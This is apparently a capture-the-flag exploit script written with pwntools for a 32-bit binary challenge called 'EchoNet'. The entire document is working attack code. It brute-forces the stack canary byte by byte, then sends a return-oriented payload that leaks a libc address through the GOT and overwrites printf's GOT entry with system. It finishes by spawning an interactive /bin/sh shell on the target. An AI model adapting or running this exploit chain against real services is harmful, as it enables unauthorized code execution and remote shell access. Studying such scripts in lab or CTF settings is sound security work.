EchoNet

#!/usr/bin/env python3

from pwn import *
#import time
from termcolor import colored
from tqdm import tqdm

elf = ELF("./chall_patched")
libc = ELF("./libc.so.6")
ld = ELF("./ld-linux.so.2")
rop = ROP(elf)

context.binary = elf
context.terminal = ["alacritty", "-e", "sh", "-c"]
dbginit = """
b main
"""

def info(str):
    print(colored("[INFO] ", "light_blue", attrs=["bold"]), end="")
    print(str)

def success(str):
    print(colored("[SUCCESS] ", "green", attrs=["bold"]), end="")
    print(str)

def error(str):
    print(colored("[ERROR] ", "red", attrs=["bold"]), end="")
    print(str)

def minfo(name, val):
    print(colored("[Mem] ", "light_yellow", attrs=["bold"]), end="")
    print(f"{name}: {hex(val)}")


def conn():
    if args.REMOTE:
        r = remote("chall.v1t.site", 30130)
    elif args.GDB:
        r = gdb.debug([elf.path], gdbscript=dbginit)
    else:
        r = process([elf.path])
    return r


def main():
    r = conn()

    print()
    info("Start Hacking...")
    print()

    offset = 72 * b'i'

    canary = b''
    for i in range(4):

        info(f"Guessing canary #{i+1}")

        t = tqdm()
        for j in range(0x100):
            t.update()

            if j == 0xa:
                continue

            r.recvuntil(b'Enter your secret: ')
            payload = offset + canary + p8(j)
            r.sendline(payload)
            r.recvuntil(b'The ember flickers.\n')

            message = r.recv(3)
            if b'***' in message:
                r.recvuntil(b'\n')

                if j == 0xff:
                    error("Something was wrong, Try again")
                    t.close()
                    quit()
            else:
                t.close()
                info("Canary found!")
                canary += p8(j)
                r.recvuntil(b'\n')
                break

    r.recvuntil(b'Enter your secret: ')

    ret    = 0x80492b9
    puts   = elf.sym["puts"]
    got    = elf.got["setbuf"]
    read   = elf.sym["read"]
    pop1   = 0x804901e
    pop3   = 0x80493b3
    system = elf.sym["printf"] 
    addr_system = elf.got["printf"] 
    binsh  = elf.got["fflush"]

    payload  = b''
    payload += p32(puts)
    payload += p32(pop1)
    payload += p32(got)
    payload += p32(read)
    payload += p32(pop3)
    payload += p32(0)
    payload += p32(addr_system)
    payload += p32(12)
    payload += p32(system)
    payload += p32(0)
    payload += p32(binsh)

    payload = offset + canary + b'i'*12 + payload
    r.sendline(payload)

    r.recvuntil(b'The ember flickers.\n')
    libc.address = u32(r.recv(4)) - libc.sym["setbuf"]

    minfo("Canary", u32(canary))
    minfo("libc  ", libc.address)
    minfo("system", libc.sym["system"])

    payload = flat(p32(libc.sym["system"]),
                   b'/bin/sh\0')


    r.sendline(payload)

    success("I think you got the shell! ")
    r.clean()
    r.interactive()


if __name__ == "__main__":
    main()